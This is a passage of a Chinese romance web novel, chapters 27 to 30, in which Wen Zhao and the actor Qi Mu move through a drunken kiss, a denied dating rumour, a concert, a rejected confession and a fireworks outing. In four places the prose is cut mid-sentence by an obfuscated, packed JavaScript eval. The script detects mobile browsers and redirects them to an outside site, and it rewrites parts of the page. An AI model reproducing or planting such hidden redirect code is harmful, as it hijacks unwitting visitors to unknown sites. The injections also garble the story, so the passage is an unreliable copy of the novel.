出租车在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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她的脚步不自觉地向前挪动,一步、两步……直到两人之间只剩下一个拳头的距离;直到在他漆黑的瞳孔里隐约看见自己凌乱的倒影,才软软地应了声:“……嗯。” 祁慕低着头,眉头微不可查地皱了一下:“喝了多少?” 温昭缓缓抬起手,比了一个“1”,脑袋昏昏沉沉,又说:“一杯咖啡……” “一杯咖啡醉成这样?”他视线落在了她湿润的眼角,声音突然沉了几分,“还哭了?” 那只骨节分明的手缓缓抬起,温昭怔怔地看着它靠近,却在最后一刻下意识地偏过头,躲开了这个触碰。 “呵,”他冷笑一声,把手放下,“就你那个青梅竹马的哥哥能碰你是吧?” 感应灯恰在此时熄灭。 温昭转过头再次看着他,那双眼睛就像被黑暗吞噬,带着凛冽的寒意:“好、凶……”她又说,“为什么……在梦里还那么、凶。” 她歪着头,醉意朦胧地嘟囔着:“之前…不是这样的……” 祁慕叹了口气,从温昭身旁走过,捡起掉落在地上的钥匙,打开了门。 “需不需要我扶你?”他声音依旧冷硬。 温昭摇摇头,倔强地迈出一步。却不想双腿竟然一软,她整个人向前栽去—— 下一秒。 一双温热的大手稳稳托住她的腰肢。 27. 第27章 温昭被那股力道一带,先是往后仰了仰,跟着又往前一倾,结结实实扑进了祁慕怀里。 她呼吸一滞。 这个温度,这个触感,和之前梦里的一模一样。 所以……她又做梦了? 她慢慢仰起头,正好对上他垂下来的目光。他那双清冷的眼眸上方,眉毛微微皱着,像是看不懂她此刻的样子。 “不是说不用扶?”祁慕的声音从头顶传来。 温昭定了定神,撑着他的手臂直起身子。她就这样站在他面前,像第二个梦里那样,目光贪婪地描摹着他的眉眼。 嘴角不自觉扬起,眼角却滑下一滴泪—— 这是第三个梦…… 那就破例… 允许你…再出现最后一次…… 脑海中渐渐浮现了梦境中的零碎的片段: 滨海咸湿的海风,沙滩上翻涌的浪花,还有…… 那个她故意为之的吻。 “蛊毒”再次侵入。 她任由神经操控着整个身体,抓起他的衣领。 祁慕猝不及防被拽得弯下腰,温热的呼吸喷洒在她脸上,眼神只剩错愕。 “你干什么?”他的声音罕见地发颤。 温昭的视线从他震惊的眼睛滑到那两片薄唇上。 她微微仰头。 轻轻贴了上去。 ——“也允许我…最后放任一次……” ——“最后一次……” 她闭上眼,睫毛轻颤着扫着他的脸颊,泪水顺着交叠的唇瓣滑落,咸涩的味道在唇齿间蔓延。 祁慕整个人僵在那儿,双手悬在半空,最后只是攥紧了拳头。他不可置信地看向那双闭着的眼睛,也能感受到怀里的人在微微发抖,却依然固执地揪着他的衣领不放。 温昭却沉浸在这个吻里,用心感受着每一秒的温度。脑海里像放幻灯片似的,从认识他开始,每个心动的片段都一一闪过—— 雨天里他不动声色往她这边倾的伞檐; 医院里他滚烫的额头贴着她冰凉的掌心; 飞机上醒来时靠着的那个宽厚肩膀; 远处的灯塔、蓝眼泪、烟花,还有旁边的他; 夜市里那个突然落下的吻; 他给她涂药时温柔又认真的样子; …… 还有…此刻…… 等一切放映结束,她才慢慢睁开了眼,对上的仍是祁慕错愕的眼神。 唇瓣分离时,带出一声几不可闻的轻响。 走廊的窗户微开,一阵晚风拂过,吹起她散落的发丝。她望向他,轻轻地呢喃: “祁慕。” 声音轻得只有自己知道,在呼唤谁的名字。 “起风了,” “梦…该醒了……” 话音落下,她眼睛沉沉地闭上,整个人软软地倒进祁慕的怀里。 直到胸口传来温热的触感,祁慕才如梦初醒,双臂僵硬地垂在身侧。 他垂眼看着她。 她的发丝凌乱地散在臂弯里,脸颊还带着点醉后的绯红。 他缓缓抬起手,指尖小心翼翼地触碰她的发梢,见她没有反应,才敢大胆放在她的发顶,轻柔地摸了摸她的头。 “什么梦?” “你看清楚我是谁了吗?就亲?” 他声音轻得像是怕惊扰了她。 而回应他的也只有均匀的呼吸声。 他就这样摩挲着她的头,过了好一会儿,他才低头轻笑一声:“温昭,酒品那么差,以后别喝了。” 屋内暖黄的光线照在两人身上,他的目光变得柔和、宠溺。 “除非我在……” - 晨光透过纱帘洒进卧室,温昭皱了皱眉,抬手揉了揉胀痛的太阳穴,缓缓睁开眼。 熟悉的吊灯,熟悉的窗帘…… 这是她的卧室。 她撑着身子坐起来,低头看了看身上,还是昨天那身衣服,皱巴巴。大脑晕涨得很,怎么也想不起自己是怎么进来的。 “昨天…我上了电梯,然后……”她敲了敲发胀的额头,“然后呢?” 她摇了摇头,实在是想不起来。 门外突然传来窸窸窣窣的声响。 她有些警惕,光着脚丫,迷迷糊糊地走到门口,慢慢拉开了门。 放眼望去,开放式厨房里,一个高大的背影系着她的碎花围裙,修长的手指端着锅,把煎好的荷包蛋轻轻放进餐盘里。 那人转身的瞬间,两人四目相对。 “醒啦?” 熟悉的嗓音像一盆冷水浇下来,温昭瞬间清醒。她瞪大眼睛,看着那个端着餐盘走向餐桌的男人。 “你、你怎么在我家?!” 祁慕把餐盘放下,解开围裙:“某些人昨晚醉得不省人事,连钥匙都插不进锁眼。”他挑了挑眉,“我好心帮忙,结果发现自己的钥匙没带。” “那你……” “我睡的沙发。” 温昭点点头。 祁慕的视线落在她光着的脚丫上,轻叹了口气,转身从鞋柜拿了双拖鞋。而后走过来蹲下身,把拖鞋放在她脚边:“穿上。” 这个动作太过自然,自然到温昭愣了好几秒才反应过来。她乖乖把脚塞进拖鞋里,小声嘟囔:“…谢谢。” “过来吃早饭。” “……噢。” 餐桌上摆着切好的牛排、金黄的荷包蛋、新鲜的水果和冒着热气的牛奶。 “这些都是你做的?”温昭一脸不可置信地看向祁慕。在她的意识里,祁慕怎么看都不像是会进厨房的那种人,更别提做饭了。 “嗯。”祁慕头也不抬地应了声。 温昭慢吞吞地拉开椅子坐下,又问:“我…昨天没做什么奇怪的事吧?” 祁慕手上的动作顿了顿,没转身,过了几秒轻轻“嗯”了一声。 温昭长舒一口气,悬着的心总算放了下来。 “为什么喝酒?” “没喝,是咖啡。” “什么咖啡?” “叫什么爱尔兰……” 祁慕转过身,双手撑在厨房的桌子上:“你是土鳖吗?说是咖啡还真是咖啡了?你见过老婆大人里有老婆吗?蚂蚁上树里真有蚂蚁?鱼香肉丝里真有鱼?所以爱尔兰咖啡里当然不是咖啡!” “我又没怎么去过,鬼知道这玩意儿是酒,度数还那么高……”温昭说得小声,且委屈。 祁慕叹了口气,转身倒了杯蜂蜜水放在她面前:“所以,为什么喝酒?” 温昭抬头看他,他的眼神很严肃。 她睫毛轻轻颤了颤,慌忙移开视线:“没什么,就是…心情不好。” 祁慕看着她,并没有再继续追问。 “蜂蜜水喝了,解酒。” “……哦。” 她小口抿着蜂蜜水,甜度刚刚好。 祁慕在她对面坐下,她视线不自觉地往上飘:“你…” 话刚出口,他放在桌上的手机就嗡嗡震动起来。温昭瞥了一眼,屏幕上跳动着“陶”字。 ——应该是陶逸兴。 他拿起手机,两人的视线在空中短暂碰了一下。温昭慌忙低下头,叉起一块牛排塞进嘴里,遮掩着她内心的慌乱。 祁慕按下免提,把手机放在桌角。 “阿慕,声明拟好了,现在发吗?” “嗯。” “行。” 通话干脆 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16286430|182617||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 利落地结束。 温昭慢吞吞地开口:“前天的热搜吗?” “嗯。”他又说,“你也看了?” “……嗯。” 她何止是看了,她不就是因为这儿所以才去喝酒的。 “你也信了?” “啊?”温昭慌乱抬头,愣了好几秒才反应过来,“身边的人都信了……” “温昭。”他放下餐具,双手交叠抵在桌面。 “干嘛?”她不敢看他,生怕暴露所思所想。 “我是说你。”祁慕直视着她的眼睛,目光灼灼。 温昭呼吸一滞,咬着内唇强撑着与他对视:“……一点点。” 其实她本来是不相信的。 可从前天到昨天,她守着手机等了一天声明,可是没有一丝一毫的动静,留给她的只有网友在网上扒的那些料,希望的火苗也随之一点点熄灭。 “所以……是假的?” “当然。”他又说,“那天聚餐的还有节目组其他人,只不过他们先到。谁知道怎么就只拍到了我和她。” 温昭怔怔地看着他—— 他……这是在跟我解释吗? 他话音刚落,两人的手机同时“叮咚”响了一声。 屏幕上跳出同一条推送—— #祁慕工作室声明# 唯一不同的是,温昭这边响起的是特别关心的专属铃声。 祁慕显然注意到了这个细节。 他歪着头,一字一顿地重复:“特、别、关、心?”眼底闪过一丝狡黠,“对我的事情那么关注?” “就…手滑点到的,”温昭耳尖发烫,“不知道怎么取消……” “哦——”祁慕拖长音调,“手、滑、啊。” 温昭慌忙抓起手机,脑袋都快埋进餐盘里了。屏幕上那则转发的声明写得明明白白—— 【严正声明】 关于近日网传“祁慕沈雨薇恋情”等相关造谣信息内容,我司现严正声明如下: 1.我司旗下艺人祁慕并不存在任何恋爱情况…… 2.当晚为节目组正常聚餐,在场人员共7位…… 我司再次呼吁广大粉丝朋友,理智上网,坚决抵制造谣信息,不轻信不传谣,维护良好、和谐的网络环境。 青川文化传媒有限公司(章) 星海祁慕文化传媒工作室(章) 声明最后还附了张当晚完整合照,照片里祁慕和沈雨薇之间足足隔了三个工作人员。 温昭的嘴角不受控制地上扬,又赶紧抿住。 她放下手机,祁慕又开口:“对了,梁咏思给了我两张演唱会门票,去不去?” “和、你?” “不然你想和谁?”祁慕眯起眼睛,“你那青梅竹马的哥哥?” “你怎么又提他了?”温昭小声嘟囔。 “所以,”祁慕身体微微前倾,“去不去?” “什么时候?” “明天晚上七点半。” “好。” …… 祁慕离开后,温昭回到卧室,又点开那条声明反复看了几遍。“单身”两个字在屏幕上格外醒目,她嘴角的笑意藏都藏不住。 她躺在床上,整个人陷进柔软的被褥里,连空气都变得格外清爽。 刚合上眼,手机就“叮铃铃”响了起来。 是林晚打来的电话。 她懒洋洋地划开接听键。 “姐妹,我闯祸了!” “你怎么了?” “见面再跟你说,等我二十分钟。” “……哦。”温昭一头雾水地挂了电话,举着手机发了会儿呆,指尖又不自觉点回那条声明,眼睛弯成了月牙儿。 28. 第28章 “咚咚咚——”敲门声响起。 温昭拖着步子去开门,只见林晚蔫头耷脑地站在门口,像个做错事的小孩。 “进来吧。” 林晚瘪着嘴走进来,一屁股坐在沙发上,整个人都挂在了温昭身上。 “说吧,昨晚去哪了?消息不回,电话不接,我还以为你被拐了。”温昭戳了戳她的脑门。 林晚突然抓住温昭的手,挺起身,支支吾吾道:“如果…我说……我喝醉了犯事儿了,你信吗?” “什么?”温昭声音骤然拔高,一脸惊惶,“谁欺负你了?” “不是……”林晚把脸埋进抱枕里,声音闷闷的,“是我把别人给欺负了……” “你把谁欺负了?” 林晚抬起头,脸颊红得能滴血:“我……我好像把你那小学弟…给睡了!” “什么?!”温昭差点从跳起,“你昨天不是去撩那个穿灰衣服的吗……跟谷知轩搭啥边啊?” “哎呀!”林晚烦躁地抓了抓头发,“那个人手脚不老实,谷知轩不知道从哪冒出来帮我解围,然后我们俩就…就喝多了…再然后……”后面的话她实在说不出口,干脆把头埋得更低。 温昭扶着额头叹气,突然无比庆幸自己昨晚醉成那样,也没对祁慕做出什么出格的事。 “昭昭……”林晚可怜巴巴地拽着她的衣角,“你说我要不要负责啊?” “那…谷知轩怎么说?” “他估计自己也懵了吧,”林晚顿了顿,声音更小了,“而且…我是趁他没醒的时候偷溜出来的……” 说完,她整个人扑进温昭怀里:“反正这几天我先不来接你了,我得…得冷静冷静。” 温昭无奈地拍着她的背:“姐妹,躲得了一时躲不了一世啊!” “我不管!”林晚猛地直起身子,竖起一根手指抵在温昭唇边,“能躲一天是一天。你可得给我保密,听见没?” “行——” - 隔天晚上,温昭对着镜子简单收拾了一下,化了个清透的淡妆,唇上抹了点豆沙色的口红 刚放下口红,手机就:“叮”地亮起—— 7:【我在你家门口等你。】 她抿了抿豆沙色的唇瓣,打字回复:【好。】 她理了理头发,拎起包推开门,祁慕已经站在门外。他穿得挺简单,黑色短袖配牛仔裤,可架不住身材好,肩宽腰窄,帅得晃眼。 她的视线落在他脸上的口罩上,突然想起什么:“我忘带口罩了,我去……” 话没说完,手腕就被一只温热的大手握住,轻轻一带,她整个人转了个圈,又被拉回原位。 突如其来的动作让温昭心跳漏了一拍,脸颊瞬间有点热。 “干、干嘛?” “我有。” 他从口袋里掏出一个黑色口罩,向前一步。温昭不自觉地后退,后背轻轻抵上冰凉的墙面。他微微俯身,指尖勾着口罩带子,温热的呼吸喷洒在她眉眼处,睫毛扑闪着。 “别动。”他低声道,态度却强硬。 修长的手指绕过她耳后时,不经意擦过敏感的耳垂。温昭浑身一颤,下意识缩了缩脖子。她心脏跳得极快,手指死死攥着衣角试图来缓解,飘忽不定的视线最后只能落在近在咫尺的眼睛上。 下一秒。 她毫无防备地跌入那片深邃的眸光中。 他垂眸凝视着她,睫毛长长的,一闪一闪的。 温昭口罩下的脸颊发烫,连呼吸都变得困难。她率先败下阵来,慌乱地别开视线往外走:“走了,走了……” 她羞恼地加快脚步。 而身后的人,看着她仓皇的背影,勾了勾唇。 “亲我的时候…”他低声呢喃,“也没见你这么害羞。”修长的手指抚过自己的唇瓣,仿佛还能感受到那晚她柔软的触感。而后不紧不慢地跟上,双手插着兜,和她保持着恰到好处的距离,看着她手忙脚乱去按电梯按钮的模样,眼底的笑意更深了。 电梯内,他转头看她:“车钥匙给我。” 见她没反应,又补了一句:“我来开。” “……哦。”温昭这才回过神,连忙从包里摸出钥匙递给他。 - 体育场外人头攒动,梁咏思作为内地顶流歌手,演唱会的票向来是秒空。温昭只抢到过一次,还是靠林晚的“10G”的网速。 停好车后,温昭自觉地落后半步,假装和祁慕只是路人。 她视线低垂着。 突然,一只温热的手闯入视线,不由分说地握住了她。 “你干嘛?”温昭做贼似的左右张望,心跳得飞快。 “你干嘛,这么多人,”祁慕收紧手指,语气平淡,“走丢了怎么办?” “我又不是小孩,”她使劲想抽出手,“你放开,万一被拍到……” “哦。”祁慕应了声,手却握得更紧了。 “你!”温昭被迫被他牵着走,脑袋垂得低低的,长发散落两侧,像帘子似的严严实实地遮住脸,恨不得找个地缝钻进去。 …… 随着轻快的前奏响起,梁咏思的演唱会正式开场。温昭举着荧光棒跟着节奏摇晃,手机镜头对准舞台拍个不停。 几首歌唱罢,风格突然转变。 随着舒缓的旋律流淌而出,温昭手指一顿,只两秒就立刻听出了这首歌—— “烟花吻过夜空 许愿你还在身旁……” 她情不自禁跟着哼唱起来,嘴角扬着浅浅的笑意。 “很喜欢这首歌?”祁慕的声音从身侧传来,在喧嚣中有些模糊。 她转过头看他,演唱会的蓝色灯光不时扫过,为他深邃的轮廓镀上一层梦幻的色彩:“有一段时间不喜欢……”她顿了顿,声音轻了几分,“现在喜欢了。” “为什么又喜欢了?” 她看着祁慕被灯光映照得忽明忽暗的眼睛,看了好几秒才别过脸,语气有点飘忽:“哪 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16286431|182617||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 有那么多为什么。” 祁慕没再追问,只是若有所思地点点头。 梁咏思温润的歌声继续流淌,歌曲渐渐推向高潮—— “是晚风偷听了约定 还是月光猜透了谜底 你回头那刻在我心底撩起的涟漪 是我一生最深的密语……” 温昭用余光偷偷瞥向身旁的人。蓝紫色的灯光恰好扫过,将祁慕的侧脸勾勒得格外温柔,连平日里锋利的眉眼都柔和了几分。 她嘴角不自觉地上扬,在震耳欲聋的音乐声中轻轻呢喃: “因为你在……” 话刚出口就被周围的欢呼声淹没,成了独属于她的密语。 - 演唱会结束已是深夜十点半,两人随着熙攘的人流走出场馆。 电梯里,温昭抬头看他,缓了缓说一声“谢谢”。 祁慕闻声瞥过头看她。 温昭被他盯得心不争气地逐渐加快:“干、干嘛?” 随后,他的手突然撑在电梯金属壁上,发出一声轻响。高大的身影笼罩下来,温昭被迫后退半步,后背贴上冰凉的墙面,扶手上的手指悄悄收紧。 “每次都说谢谢,”他声音低沉,“就没点实际行动?” 温昭呼吸一滞:“那…你想要什么…”声音越来越小,最后几个字几乎含在嘴里。 他俯身凑近,鼻尖几乎要碰到她的脸颊。两人呼吸交缠,温热的吐息在狭小的电梯里氤氲开一片暧昧。他的目光如锁链般牢牢锁住她,让她无处可逃。 “上次谁说…要请我吃饭来着?” 温昭不自觉地咽了咽口水,睫毛轻颤,视线飘来飘去,就是不敢看他:“那你…什么时候有空?”她偷瞄了一眼又迅速低下头,像只做错事的小猫。 “明天。” “明天?!” “没空?” “有……” “叮——”电梯到达的提示音如同救星。 温昭率先溜走,脚步有些虚浮,慢慢走着平复呼吸。 再抬头时,却见家门口站着个熟悉的身影。 “汀州哥?” 与此同时,祁慕也不紧不慢地走出电梯,停在她身后半步远的位置。 “昭昭……”许汀州的声音在看到祁慕时戛然而止,视线在两人之间转了个来回,最终还是朝她走来。 祁慕还站在身后,温昭下意识回头看了一眼。 他眼睛一直看着前方,冷如寒冰,下颌线绷得紧紧的。这副表情她太熟悉了,就跟上次在电梯口偶遇时一模一样。 “昭昭。”许汀州的声音悠悠地传来。 她回过神时,许汀州已经站在面前:“汀州哥,这么晚了有事吗?” “我……”许汀州欲言又止,“能单独聊聊吗?” 余光里祁慕整个人绷得像座冰雕,那双漆黑的眼眸就这样低头看着她。 温昭心里叹了口气,只能轻声应了句“好”。 29. 第29章 昏黄的路灯斜斜地洒下来,不经意擦过温昭身上,最后斑驳地落在地面上。夜风轻轻撩起她的发丝,温昭侧过头,看见许汀州微垂着头,又缓缓抬起。 “你和祁慕?” “邻居。” “什么时候的事儿?” “就在看他演出那天之后……” “你们俩看起来挺熟的。”他轻笑,眼底却没什么笑意。 “还、行。” “我记得他以前不是挺不喜欢你的职业,没说什么难听话?” “没有,”温昭摇了摇头:“他…挺好的。” 许汀州点了点头,沉默许久,才开口,声音很轻:“昭昭,我们认识多久了?” 温昭仰起脸算了算:“从小学到现在…快20年了吧。” “是啊,20年了。”他转过头,目光温柔,“以前我总觉得你离我很近,好像一伸手就能碰到…” 温昭笑着看他:“现在也是啊。” 许汀州却摇了摇头:“不一样。从我来星海的那天起,就感觉到了。” “汀州哥……”温昭有些惭愧,垂下了眼。 她其实自己心里清楚。 六年未见的老友突然出现,她虽然开心,却总带着说不出的别扭。每次相处时,那种微妙的尴尬感就像一层薄纱,若有似无地隔在两人之间。 “昭昭,”许汀州突然打断她,深吸一口气低下头。再抬起时,眼里盛满了温柔与忐忑,“我喜欢你。” 温昭一怔,慌乱地抬眼,对上的是他炙热目光,皱起的眉头,还有好久不见的、实打实的认真。 “汀州哥,”温昭深吸一口气,声音柔却坚定,“如果是朋友、家人之间的喜欢,那么,我也是。但如果是别的……”她顿了顿,“我可能…” 她摇了摇头:“没有办法回应你……” 话落,许汀州垂下眼睑。 “你和林晚对我来说,都是很重要的人……”她望着地上摇曳的树影,“这份友情,我不想让它变质。” 许汀州嘴角扯出一抹苦涩的弧度,像是早就预料到这个答案:“我知道……”他抬起头看向温昭,“但我还是想试试,你…能不能给我个机会?” 温昭抿了抿唇,最终还是轻轻摇头。 “为什么?” “因为……”她不自觉地抬头看了眼12楼一个亮着灯的窗口,又收回视线,“我有一个想要在一起的人了。” 尽管她也不知道,那个人对她到底有没有哪怕一点点的喜欢。 但这个藏在心底的喜欢,却像春天的藤蔓,一天比一天缠绕得更深。 …… “那人是……”许汀州的话还没说完,11楼的单元门突然被推开。 一道修长的影子从暗处走出来,随着光线一点点亮起来,熟悉的衣服让温昭只一眼就认清了他。她的视线不受控制地黏了过去—— 他怎么下来了…… 祁慕手里拎着个半空的垃圾袋,眼神扫过长椅上的两人。其实方才看他们离开,他转身就冲回了家,他家阳台正对着楼下,可夜里太黑,眯着眼瞅了半天也没看清。 “跑哪去了……”他烦躁地叉着腰,舌尖抵着后槽牙,视线在屋里乱飘,最后落在客厅昨天刚换的垃圾袋上,索性拎着下来碰碰运气。 …… 许汀州顺着她的视线望去,嘴角泛起一丝苦笑:“昭昭。” “啊?”温昭回过神,看向许汀州。 许汀州看了眼越走越近的男人,轻声道:“你会得到你想到的。” “什么?”温昭一脸茫然地眨眼。 “字面意思。”许汀州露出个释然的笑,站起身,“好了,时间不早了,我先走了。” “好。”温昭也跟着站起来。 “早点休息。” “好。” 许汀州转过身,刚迈出一步又突然停住。他转回身,温昭还没反应过来,就被一把将拉进怀里。 她瞳孔猛地收缩,整个人僵在原地。视线越过许汀州的肩膀,正好对上不远处路灯下那道冰冷的目光。祁慕站在那里,眼神阴沉得可怕,手里的垃圾袋被他攥得“哗啦”作响。 “晚安。”许汀州在她背后轻声说完后,松开了手,转身走了。 温昭傻愣愣地站在原地,看着祁慕转身就走的背影,手都抬起来了,想喊住他,可那人走得干脆利落,连个眼神都没留。 …… 她坐在长椅上,仰头望着天空厚重的乌云,不知过了多久,云层渐渐散开,露出一轮皎洁的圆月。 “你在这儿干嘛?” 低沉的嗓音从一侧传来,温昭猛地转过头,站起身。 “你去哪儿了?” “倒垃圾,看不出来吗?”他语气带着不耐烦。 “大晚上,一个人坐着想干嘛?”祁慕冷笑,“人都走了,还不舍不得?” “我没有!”温昭辩解着。 她站在原地,祁慕一步一步向她走来,站在她面前。 两人距离很近,她都能看清他眼下一颗不太明显的小痣,估摸着也就五厘米不到。他微微低下头,温热的呼吸拂到她脸上,鼻尖眼看着就要相触的瞬间—— 温昭立刻后退了一小步。 祁慕动作一顿,直起身:“看吧,有人靠近你还是能躲开的。” 温昭轻轻皱眉抬眼看他—— 那能一样嘛!你这都快亲上了!! “他刚刚跟你聊什么了?” “他说…他喜欢我……” “然后呢?”祁慕追问着,视线落在她微颤的睫毛上。 “我…拒绝了……” 祁慕才抬眼,眉梢微挑,随即又皱起眉头:“拒绝了,他还抱你?” “有可能,是道别的礼、节…” 他又向前一步,这次温昭没躲,两人又回到那个危险的距离。 “那上次呢?” “上次?”温昭懵了下。 “电梯门口。” 温昭的记忆不合时宜的闪回前几天—— 许汀州帮她拿掉头上的猫毛,然后电梯门打开了…再然后…… 她后知后觉地猛地睁大眼睛,唰地抬头看祁慕—— 这人该不会以为…许汀州在摸我头吧?! “上次是因为芝麻的毛沾我头上了,他在帮我而已。”她急急忙忙解释,脸颊都有些涨红了。 “哦”祁慕应了一声,听不出情绪。 哦? 这到底是信了还是没信啊? 是觉得她在找借口,还是真的听进去了? 等等…… 所以他上次生气是以为许汀州在摸我头? 他…这算是吃醋了吗? 她正胡思乱想着,祁慕已经转身往前走。 “还不走?”他停下脚步,微微侧头。 “来了来了。”温昭回过神,连忙小步快跑着追上去。 …… 到了家门口。 温昭摸出钥匙开了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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很快,又弹出一条消息:【姐妹够义气!千万别说漏嘴!要不然你会失去我!】 温昭无奈地笑了笑,摁灭了手机。 …… 113病房内,温昭刚进去,就听见刘婧正拉着祁慕问个不停:“阿慕啊,你什么时候把你女朋友带过来给外婆瞧瞧?” 祁慕看了眼刚进门的温昭,又转向老人:“什么女朋友?” 正在一旁给老人擦手的陈琳说道:“就是你前几天网上的那个女生啊,都说你是女朋友,你外婆知道后,开心的不得了。” “奶奶,”祁慕无奈地摇头,“她不是我女朋友。” “啊?”刘婧撑起身子,“那怎么……”老人疑惑地皱起眉头。 “奶奶,都是误会。” 温昭走到床边,轻声细语:“奶奶别动。”手里利落地拔掉针头盖。 “哦,好……”陈琳慢慢扶着刘婧靠回床头,老人失望地叹了口气,眼角的皱纹一下子耷拉下来,看着蔫蔫的。 “不过,”祁慕开口又说,“我保证今年一定带女朋友回来见您。”说完视线停留在正在给外婆输液的温昭,又补了句,“而且,您一定会很喜欢她。” “真的?”刘婧眼睛一亮,连声音都精神了几分。 “嗯。” 温昭正按着输液贴的手指微微一顿,借着整理药瓶的动作,悄悄垂眸看他,眼神中有些失落—— 女朋友? 他这是……有喜欢的人了? 30. 第30章 夕阳的余晖洒在车窗玻璃上,温昭栗棕色的长发被照得发亮,她捋了捋耳边的不凌乱的碎发,指尖划过耳廓时,眼神却像长了钩子,不受控制地往正在开车的祁慕那儿瞟。 脑海里又浮现他在病房时说的的话—— “我保证今年一定带女朋友回来见您。” 温昭手指攥着安全带,摩挲着上面的纹路,迟疑了好一会儿,终于还是没忍住,小声开了口:“你……今天跟外婆说的真的假的?” “什么?”祁慕目视着前方。 “就是你说,你今年会带女朋友的事……”她飞快瞥了他一眼,又赶紧低下头,“是真的吗?” 祁慕喉结动了动,偏头看她:“当然是真的。” 温昭抿紧了唇,指尖把安全带攥得更紧了些,闷闷地应了声:“……哦。” 但心里有点酸。 “怎么突然问这个?”他的视线转回来,落在前方缓慢挪动的车流上。 “就、就随便问问。”她嘴硬道,又不甘心似的补了句,“你这么确定啊你今年能带回来?” 祁慕跟着前车稳稳停在停止线内,前面排着长长的队,一时半会儿动不了。 他倾身过来:“其实不确定,”故意停顿了下,看着她些许绷紧的脸,才慢悠悠补全后半句,“毕竟她身边烂桃花,好像有些点多。” 温昭撇开他的手,假装看窗外掠过的街景—— 知道人家桃花多,还追? 你属爬山虎的吗? 万一……万一人家心里根本没你呢? 她微皱着眉,咬着内唇,语气尽量显得平淡,却还是带了点不易察觉的生硬:“那你得加油。” 加倒油的那种。 最好加完直接熄火,省得白费力气。 祁慕看着她的样子,低低笑出声,手重新搭回方向盘上,点了点头:“确实得加油。” 温昭瞥了他一眼。 笑什么笑。 车子缓缓启动,温昭眼角的余光又不自觉飘过去。夕阳的光斜斜切进来,落在他被染成了琥珀色的眼眸中,他嘴角还仰着点若有似无的笑意。 所以,就不能换个人喜欢? 比如…… 她? 温昭看着他,心里像塞了颗话梅糖,索性直接侧过身,背对着他靠在椅背上,眼不见为净。看不见就不会胡思乱想,不想就不会难受。 可……好像还是会难受。 …… 暮色渐沉,路灯一盏接一盏亮起,在车窗上投下流动的光斑。温昭迷迷糊糊动了动肩膀,睫毛轻颤着睁开眼,脸颊还带着睡意未消的淡粉。 她揉了揉后颈,看着周围渐渐减少的车辆,转头看向祁慕:“我们这是去哪儿?” “西岸区。” “西岸?”温昭瞬间清醒了几分,“这么远?” “今天那边恰好有个烟花秀,我受邀参加,所以就订了附近的餐厅。吃完饭差不多八点半,正好赶上。” 温昭了然的点点头。 不过……这么浪漫的场合,怎么不带“她”来? 难道是还没追到手,不好意思约? 想着想着,困意又涌上来,她情不自禁打了个哈欠,眼泪都快出来了。 “你还可以再睡会儿,至少还要半小时。” “你累不累?要不找个地方停下,我来开会儿?” “温医生,疲劳驾驶也不行啊。”说完他低笑一声,又道,“安心睡你的,到了我叫你。” “……哦。”她含糊地应了一声,脑袋换了个方向靠。她半合着眼睑,纤长的睫毛在眼下投下一片阴影,却遮不住偷偷打量的目光。 谁让他侧脸这会儿看着这么顺眼呢。 明暗光线下,他睫毛一下下眨着,挺有规律的,平日里看着有点冷硬的下颌线,被暖黄的光一照,居然也柔和了不少。 她忍不住悄悄弯了弯嘴角。 这张脸,说是绝色也真不过分。虽然本来就帅,但帅得这么耐看,还真是不容易。 可下一秒。 祁慕冷不防地转头。 温昭心跳漏了半拍,屏着呼吸,连忙地把嘴角压了下去,眼睛也“唰”地闭上,只剩睫毛还在微微发颤。 应该没发现吧…… 等听到他转回去的动静,才又掀开条缝,继续偷看。 - 吃完晚餐,两人慢慢往南岸区的江畔走,餐厅离江边特近,步行也就五分钟。夜晚的江风很凉快,温昭的发丝就被夜风撩起,在空气中划着柔美的弧度。 “你不用戴口罩吗?”她伸手拢了拢被风吹乱的头发,转头看向祁慕。 “不用,本来就是受邀参加的,而且也没什么媒体,没关系。” 温昭点点头。 江边的草坪早已站满了很多人,都是和他们一样来看烟花秀的。温昭刚吃饭的时候上网查了一下,这场烟花秀是一个叫秦之奕的烟花设计师设计举办的,她之前在新闻上看到过一些片段,他的烟花做得跟艺术品似的,而且两年才举办一次。 温昭的微信朋友圈背景也是这个,不过是从网上找来的。 她从小就喜欢烟花,喜欢看那一点星火“砰”地划破夜空,在最高处绽放成漫天流光的模样,那种绚烂到极致的美,很令人着迷。 “对了,”她突然想起什么,“你是怎么被邀请函的?” “想要就有了。”他语气很是随意。 温昭张了张嘴,一时语塞。 这邀请函,听说黄牛手里都炒到天价还抢不着,到他嘴里倒像是网购凑单时随手捎的五毛钱小零食。 